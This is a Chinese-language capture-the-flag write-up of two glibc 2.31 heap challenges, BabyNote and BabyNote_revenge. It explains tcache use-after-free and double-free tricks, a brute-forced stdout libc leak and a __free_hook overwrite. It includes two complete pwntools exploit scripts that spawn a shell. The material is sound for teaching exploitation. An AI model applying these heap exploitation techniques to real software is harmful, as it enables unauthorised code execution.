PWN - BabyNote & BabyNote_revenge xp0int Posted on Jun 6 2021 两道经典菜单堆题。 BabyNote: 1. 分配的堆块大小固定为0x60,最多可以分配32个。 2. 释放堆块时没有清空指针,导致 use-after-free 或者 double free。 3. 没有 show 功能,可以泄露低16比特的堆地址。 BabyNote_revenge 在 BabyNote 的基础上做了以下改动: 1. 最多分配堆块数量减少为16个。 2. 有条件泄露堆地址。输入 puts 地址后,可以泄露完整的堆地址,同时获取3次任意地址写机会,途中加载 ORW seccomp 沙盒。 ## 方法一:double-free 法(通杀两题) **该方法无需泄露堆地址**,只需分配9次堆块就能泄露 libc 地址。 题目libc版本是 2.31。新版本 2.27 以后,tcache 会对链表中的所有堆块进行 double free check,所以不能像以前这样直接利用 double free。 绕过方法很简单:只有当 chunk 的 key 字段(刚好位于 fd 后面)恰好等于 tcache 地址时,tcache 才会进行 double free check,所以我们通过 UAF 将前 0x10 字节直接清零就能绕过了。 思路与方法二十分相似,都是试图将一个 chunk 释放到 unsorted bin。 首先分配 4 个堆块: ``` for i in range(4): alloc() ``` 然后依次释放chunk #0、#1。此时 chunk #1 fd 指向 #0(低1字节是0xa0). 我们通过 UAF 将 #1 fd 低1字节修改为 0xb0,即把 fd 指针向下移动 0x10 字节。 ``` # tcache fd = chunk+0x10 delete(0) delete(1) edit(1, p8(0xb0)) alloc() alloc() # chunk #5 ``` 这样我们可以通过 chunk #0 控制 chunk #5 的头部。 将 chunk #5 的大小修改为 0x110。 ``` edit(0, flat([0, 0x111])) ``` Fake chunk: ![title](https://leanote.com/api/file/getImage?fileId=60af9b58ab644158ab000ba9) 构建 fake chunk 时注意,"Freeable" 须为 True,否则 free 会报错。 首先释放 chunk #5,清空 key 字段绕过 double free check,然后再次释放 chunk #5。第8次释放后,chunk #5 会进入 unsorted bin。 ``` # fill up tcache bin vid double free, fake chunk will be sent to unsorted bin delete(0x5) for i in range(7): edit(0x5, 0x10*NUL) delete(0x5) ``` 后面的流程就是爆破 stdout 地址,通过 stdout 泄露 libc 地址。具体方法参见方法二。 完整EXP脚本: ``` from pwn import * context(arch="amd64", log_level="debug") NUL = b'\x00' p = None def main(): global p p_sl = lambda c, d : p.sendlineafter(d, c) p_s = lambda c, d : p.sendafter(d, c) if p: p.close() libc = ELF("./libc-2.31.so") p = process("./BabyNote", env={"LD_PRELOAD":"./libc-2.31.so"}) def alloc(ctx="\x00"): p_sl('1', ">>") p_s(ctx, ":") def delete(id): p_sl('3', ">>") p_sl(str(id), ":") def edit(id, ctx): p_sl('2', ">>") p_sl(str(id), ":") p_s(ctx, ":") # Build fake chunk for i in range(4): alloc() # tcache fd = chunk #0+0x10 delete(0) delete(1) edit(1, p8(0xb0)) alloc() alloc() # fake chunk size = 0x110 edit(0, flat([0, 0x111])) # fill up tcache bin, fake chunk will be sent to unsorted bin delete(0x5) for i in range(7): edit(0x5, 0x10*NUL) delete(0x5) # bruteforce to get stdout addr edit(0x5, p16(0x16a0)) # tcache fd = fake chunk delete(2) delete(0) delete(1) # mind the order edit(1, p8(0xb0)) alloc() alloc() alloc() # leak libc addr vid stdout payload = p64(0xfbad1800) + NUL * 0x19 edit(0x8, payload) ## Some wrong libc addr may make IO stunk, we need to set a timeout here x = p.recvuntil(NUL*8, timeout=1) if not x: raise Exception("timeout") libc.address = u64(p.recv(8)) - libc.symbols["_IO_2_1_stdin_"] info("libc: 0x%x", libc.address) # free_hook = system delete(1) edit(1, 8*NUL) # fix tcache fd delete(2) edit(2, p64(libc.symbols["__free_hook"])) alloc() alloc(p64(libc.symbols["system"])) # get shell edit(3, "/bin/sh\x00") delete(3) p.interactive() i = 0x100 while i >= 0: try: main() break except KeyboardInterrupt: break except: i -= 1 continue ``` ## 方法二: use-after-free 法(仅 BabyNote 可用) 思路: 1. 首先利用 UAF 和 tcache,构建一个大 fake chunk 并将其释放到 unsorted bin; 2. 然后利用 fake chunk 上的 libc 地址爆破得到 stdout 地址,通过 stdout 泄露 libc 地址; 3. 最后利用 libc 地址修改 free_hook 实现 getshell。 该方法需要分配超过16次堆块,所以只适用于 BabyNote。 首先构建一个大小为 0x740 的 fake chunk。 alloc(flat([0, 0x471])) for i in range(12): alloc() Fake chunk: ![title](https://leanote.com/api/file/getImage?fileId=60af7f7eab64415aa60009f8) 利用 UAF 和泄露的低位堆地址,修改 tcache 链表的 fd 低 16 比特,使其指向 fake chunk。最后获得 fake chunk。 # UAF, tcache fd = fake chunk delete(1) delete(2) edit(2, p16(lowaddr+0x10)) alloc() alloc() # fake chunk 释放 fake chunk。由于 0x470 已经超过 tcache 最大容纳堆大小,fake chunk 将释放到 unsorted bin。 # Exceeded MaxTcacheSize, so fake chunk will be sent to unsorted bin delete(14) 进入 unsorted bin 后,fake chunk fd 是 main_arena 地址。 ![title](https://leanote.com/api/file/getImage?fileId=60af809bab644158ab000a74) 由于程序不能打印堆块内容,我们需要通过 stdout 泄露出 libc 地址。 首先利用 UAF 将 fake chunk fd 改成 stdout 地址。这里需要爆破8比特。 # edit fake chunk fd to stdout addr, we need bruteforce here. edit(14, p16(0x16a0)) 然后利用 tcache 获取 stdout。 # tcache fd = fake chunk delete(3) delete(4) delete(5) edit(5, p16(lowaddr+0x10)) alloc() alloc() alloc() # stdout 修改 stdout,泄露 libc 地址,计算偏移得到 libc 基地址。 # leak libc addr vid stdout payload = p64(0xfbad1800) + NUL * 0x19 edit(17, payload) ## Some wrong libc addr may make IO stunk, we need to set a timeout here x = p.recvuntil(NUL*8, timeout=1) if not x: raise Exception("timeout") libc.address = u64(p.recv(8)) - libc.symbols["_IO_2_1_stdin_"] info("libc: 0x%x", libc.address) 经修改后的 stdout: ![title](https://leanote.com/api/file/getImage?fileId=60af8207ab64415aa6000a01) 注意"_IO_write_base"字段的最后1字节被设为空字节。 注意如果恰好爆破到了一个合法的 libc 地址,就会无法泄露 libc 地址: ![title](https://leanote.com/api/file/getImage?fileId=60af827eab644158ab000a7f) 爆破成功应该是这样子的: ![title](https://leanote.com/api/file/getImage?fileId=60af82a2ab644158ab000a80) 如果爆破成功,程序会先输出一系列的空字节。因此我们可以按照能否接收到空字节来判断爆破成功与否。 最后将 free_hook 设为 system,释放包含 /bin/sh 的堆块,然后 get shell。 # free_hook = system delete(6) delete(7) edit(7, p64(libc.symbols["__free_hook"])) alloc() alloc(p64(libc.symbols["system"])) # get shell edit(8, "/bin/sh\x00") delete(8) 完整 EXP 脚本: ``` from pwn import * context(arch="amd64", log_level="debug") NUL = b'\x00' p = None def main(): global p p_sl = lambda c, d : p.sendlineafter(d, c) p_s = lambda c, d : p.sendafter(d, c) if p: p.close() libc = ELF("./libc-2.31.so") p = process("./BabyNote", env={"LD_PRELOAD":"./libc-2.31.so"}) def alloc(ctx="\x00"): p_sl('1', ">>") p_s(ctx, ":") def delete(id): p_sl('3', ">>") p_sl(str(id), ":") def edit(id, ctx): p_sl('2', ">>") p_sl(str(id), ":") p_s(ctx, ":") def gift(): p_sl('666', ">") p.recvuntil("gift:") gift = int(p.recvline()) return gift # Build fake chunk alloc(flat([0, 0x471])) ## Actually we needn't a heap addr leak... See another solution for BabyNote_revenge lowaddr = gift() for i in range(12): alloc() # UAF, tcache fd = fake chunk delete(1) delete(2) edit(2, p16(lowaddr+0x10)) alloc() alloc() # fake chunk # Exceeded MaxTcacheSize, so send fake chunk to unsorted bin delete(14) # edit fake chunk fd to stdout addr, we need bruteforce here. ## this one may have less IO stunk times edit(14, p16(0x16a0)) #edit(14, p16(0x96a0)) # tcache fd = fake chunk delete(3) delete(4) delete(5) edit(5, p16(lowaddr+0x10)) alloc() alloc() alloc() # stdout # leak libc addr vid stdout payload = p64(0xfbad1800) + NUL * 0x19 edit(17, payload) ## Some wrong libc addr may make IO stunk, we need to set a timeout here x = p.recvuntil(NUL*8, timeout=1) if not x: raise Exception("timeout") libc.address = u64(p.recv(8)) - libc.symbols["_IO_2_1_stdin_"] info("libc: 0x%x", libc.address) # free_hook = system delete(6) delete(7) edit(7, p64(libc.symbols["__free_hook"])) alloc() alloc(p64(libc.symbols["system"])) # get shell edit(8, "/bin/sh\x00") delete(8) p.interactive() i = 0x100 while i >= 0: try: main() break except KeyboardInterrupt: break except: i -= 1 continue ``` ## seccomp+free_hook(仅BabyNote_revenge可用) 打赏还是打残,这是个问题 赏 Wechat Pay Alipay MISC - 小猪佩奇 MISC - 查看流量出错
没有帐号? 立即注册